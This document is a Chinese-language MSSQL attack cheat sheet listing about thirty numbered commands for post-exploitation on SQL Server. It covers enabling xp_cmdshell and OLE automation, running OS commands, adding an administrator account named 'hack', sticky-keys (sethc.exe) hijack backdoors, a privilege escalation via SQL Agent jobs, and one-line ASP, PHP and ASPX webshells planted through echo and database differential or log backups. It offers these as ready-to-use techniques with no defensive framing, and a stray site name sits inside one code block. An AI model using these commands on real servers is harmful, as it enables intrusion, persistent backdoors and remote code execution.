- (1). 查看数据库的版本
- (2)查看数据库所在服务器操作系统参数
- (3) 查看数据库启动的参数
- (4) 查看数据库启动时间
- (5) 查看数据库服务器名和实例名
- (6) 查看用户登录信息
- (7) 查看数据库中所有的存储过程和函数
- (8) 查看数据库中用户和进程的信息
- (9) 恢复存储过程
- (10) 开启和关闭 xp_cmdshell
- (11) xp_cmdshell 执行命令:
- (12) 开启和关闭 Sp_oacreate
- (13) Sp_Oacreate 删除文件
- (14) Sp_Oacreate 复制文件:
- (15)Sp_Oacreate 移动文件:
- (16)Sp_Oacreate 加管理员用户:
- (17) 开启和关闭 sp_makewebtask:
- (18 )sp_makewebtask新建文件
- (19)wscript.shell执行命令:
- (20) Shell.Application执行命令
- (21) 开启和关闭openrowset
- (22) 沙盒执行命令
- (23) 注册表劫持粘贴键
- (24) sp_oacreate替换粘贴键
- (25) public权限提权操作
- (26)echo 一句话后门
- (27) MSSQL 中查询 password
- (28) 查看C盘文件
- (29)遍历C 盘目录:
- (30)获得子目录列表:
- 数据库备份获取 webshell
(1). 查看数据库的版本
select @@version();
(2)查看数据库所在服务器操作系统参数
主要显示如下:
ProductName, ProductVersion, Language, Platform, Comments, CompanyName, FileDescription, FileVersion, InternalName, LegalCopyright, LegalTrademarks, OriginalFilename, PrivateBuild, SpecialBuild, WindowsVersion, ProcessorCount, ProcessorActiveMask, ProcessorType, PhysicalMemory和Product ID 等参数信息,其中Platform 显示平台是X86还是X643.
查看数据库启动的参数:exec master..xp_msver;
(3) 查看数据库启动的参数
sp_configure
(4) 查看数据库启动时间
select convert(varchar(30), login_time, 120) from master.. sysprocesses where spid=1
(5) 查看数据库服务器名和实例名
//
print 'ServerName......:'+convert(varchar(30), @@SERVERNAME)
print 'Instance.....:'+convert(varchar(30), @@SERVICENAME)
(6) 查看用户登录信息
所有数据库用户登录信息: sp_helplogins
查看所有数据库用户所属的角色信息:sp_helpsrvrolemember
查看某数据库下,对象级用户权限:sp_helprotect
查看链接服务登录情况:sp_helplinkedsrvlogin
(7) 查看数据库中所有的存储过程和函数
sp_stored_procedures
(8) 查看数据库中用户和进程的信息
数据库中用户和进程的信息:sp_who SQL Server
SQL Server数据库中的活动用户和进程的信息:sp_who'active'
SQL Server 数据库中的锁的情况:sp_lock
(9) 恢复存储过程
use master
exec sp_addextendedproc xp_cmdshell, @dllname = 'xplog70.dll'
exec sp_addextendedproc xp_cmdshell, @dllname ='xp_cmdshell.dll'
exec sp_addextendedproc xp_enumgroups, @dllname ='xplog70.dll'
exec sp_addextendedproc xp_loginconfig, @dllname = 'xplog70.dll'
exec sp_addextendedproc xp_enumerrorlogs, @dllname ='xpstar.dll'
exec sp_addextendedproc xp_getfiledetails, @dllname ='xpstar.dll'
exec sp_addextendedproc sp_OACreate, @dllname = 'odsole70.dll'
exec sp_addextendedproc sp_OADestroy, @dllname = 'odsole70.dll'
exec sp_addextendedproc sp_OAGetErrorInfo, @dllname ='odsole70.dll'
exec sp_addextendedproc sp_OAGetProperty, @dllname ='odsole70.dll'
exec sp_addextendedproc sp_OAMethod, @dllname ='odsole70.dll'
exec sp_addextendedproc sp_OASetProperty, @dllname ='odsole70.dll'
exec sp_addextendedproc sp_OAStop, @dllname ='odsole70.dll'
exec sp_addextendedproc xp_regaddmultistring, @dllname ='xpstar.dll'
exec sp_addextendedproc xp_regdeletekey,@dllname ='xpstar.dll'
exec sp_addextendedproc xp_regdeletevalue, @dllname ='xpstar.dll'
exec sp_addextendedproc xp_regenumvalues, @dllname ='xpstar.dll'
exec sp_addextendedproc xp_regremovemultistring, @dllname ='xpstar.dll'
exec sp_addextendedproc xp_regwrite, @dllname ='xpstar.dll'
exec sp_addextendedproc xp_dirtree, @dllname = 'xpstar.dll'
exec sp_addextendedproc xp_regread, @dllname = 'xpstar.dll'
exec sp_addextendedproc xp_fixeddrives, @dllname ='xpstar.dll'
(10) 开启和关闭 xp_cmdshell
开启:
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
关闭:
/
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE;
禁用 advanced options:
EXEC sp_configure 'show advanced options', 0 ; go reconfigure with override;
(11) xp_cmdshell 执行命令:
/
exec master..xp_cmdshell "whoami";
exec master..xp_cmdshell "net user hack 123456/add";
exec master..xp_cmdshell "net localgroup administrators hack /add";
(12) 开启和关闭 Sp_oacreate
开启:
exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'ole automation procedures',1;recofigure;
关闭:
exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'ole automation procedures',0;reconfigure;
exec sp_configure 'show advanced options',0;reconfigure;
(13) Sp_Oacreate 删除文件
declare @result int
declare @fso_token int
exec sp_oacreate 'scripting.filesystemobject', @fso_token out
exec sp_oamethod @fso_token,'deletefile',null,'c:\1.txt'
exec sp_oadestroy @fso_token
(14) Sp_Oacreate 复制文件:
declare @o int
exec sp_oacreate 'scripting.filesystemobject',@o out
exec sp_oamethod @o,'copyfile',null,'c:\1.txt','c:\2.txt'
(15)Sp_Oacreate 移动文件:
declare @o int
exec sp_oacreate 'scripting.filesystemobject',@o out
exec sp_oamethod @o,'movefile',null,'c:\1.txt','c:\3.txt'
(16)Sp_Oacreate 加管理员用户:
DECLARE @js int
EXEC sp_OACreate ‘ScriptControl’,@js OUT
EXEC sp_OASetProperty @js, ‘Language’, ‘JavaScript’
EXEC sp_OAMethod @js, ‘Eval’, NULL, ‘var o=new
ActiveXObject(“Shell.Users”);z=o.create(“user”);z.changePassword(“pass”,””);z.setting(“AccountType”)=3;’
(17) 开启和关闭 sp_makewebtask:
开启:exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Web Assistant Procedures',1;RECONFIGURE;
关闭:exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Web Assistant Procedures',0;RECONFIGURE;
禁用advanced options: EXEC sp_configure 'show advanced options', 0; GO RECONFIGURE WITH OVERRIDE;
(18 )sp_makewebtask新建文件
exec sp_makewebtask 'c:\windows.txt',' select ''<%25execute(request("a"))%25>'' ';;--
(19)wscript.shell执行命令:
use master
declare @o int
exec sp_oacreate 'wscript.shell',@o out
exec sp_oamethod @o,'run',null,'cmd /c "net user" > c:\test.tmp'
(20) Shell.Application执行命令
-Shell.Application执行命令
declare @o int
exec sp_oacreate 'Shell.Application', @o out
exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd /c net user >c:\test.txt','c:\windows\system32','','1';
or
exec sp_oamethod @o, 'ShellExecute',null, 'user.vbs','','c:\','','1';
(21) 开启和关闭openrowset
开启:exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
关闭:exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',0;RECONFIGURE;
禁用advanced options:EXEC sp_configure 'show advanced options', 0; GO RECONFIGURE WITH OVERRIDE;
(22) 沙盒执行命令
—沙盒执行命令 exec master..xp_regwrite
--沙盒执行命令
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1 默认为3
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c echo a>c:\b.txt")')
(23) 注册表劫持粘贴键
--注册表劫持粘贴键
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution
Options\sethc.EXE','Debugger','REG_SZ','C:\WINDOWS\explorer.exe';
(24) sp_oacreate替换粘贴键
--sp_oacreate替换粘贴键
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
declare @oo int
exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
(25) public权限提权操作
--public权限提权操作
USE msdb
EXEC sp_add_job @job_name = 'GetSystemOnSQL', www.2cto.com
@enabled = 1,
@description = 'This will give a low privileged user access to
xp_cmdshell',
@delete_level = 1
EXEC sp_add_jobstep @job_name = 'GetSystemOnSQL',
@step_name = 'Exec my sql',
@subsystem = 'TSQL',
@command = 'exec master..xp_execresultset N''select ''''exec
master..xp_cmdshell "dir > c:\agent-job-results.txt"'''''',N''Master'''
EXEC sp_add_jobserver @job_name = 'GetSystemOnSQL',
@server_name = 'SERVER_NAME'
EXEC sp_start_job @job_name = 'GetSystemOnSQL'
(26)echo 一句话后门
echo ^<%eval request(cmd)% ^>^>d:\wwwroot\ok.asp
echo ^<?php @eval($_POST[cmd]);?^>^> cmd.php
echo ^<%@ Page Language=Jscript%^>^<^%eval(Request.Item[pass],unsafe);%^>^> c:\Temp\cmd.aspx
(27) MSSQL 中查询 password
select * from [sysobjects] where Exists(SELECT sysobjects.[name] FROM [SYSCOLUMNS] WHERE[syscolumns].ID = sysobjects.ID and [name] like '%password%')
(28) 查看C盘文件
exec master.dbo.xp_cmdshell 'dir c:\';
(29)遍历C 盘目录:
exec master.dbo.xp_dirtree 'c:\';
(30)获得子目录列表:
exec master.dbo.xp_subdirs 'c:\';
(31)获取子目录的目录树结构
exec master.dbo.xp_dirtree 'c:\';
(32)查看文件的内容:
exec master.dbo.xp_cmdshell 'type c:\web\web.comfgi';
数据库备份获取 webshell
(1) 差异备份:
backup database [当前数据库名] to disk = 'c:\recyler\1.bak'
create table cmd (a image);
insert into cmd(a) values ('<%eval request("cmd")%>');
backup database (当前数据库名) to disk = '网站绝对路径‘ WITH DIFFERENTIAL,FORMAT--
(2) log备份
alter database 当前数据库名 set RECOVERY FULL--
CREATE TABLE CMD (A IMAGE);
backup log [当前数据库名] to disk = 'c:\recyler\1.bak' with init--
insert into cmd(a) values ('<%eval request("cmd")%>');
backup log [当前数据库名] to disk = '网站绝对路径'
drop table cmd;
alter database [当前数据库名] set RECOVERY SIMPLE;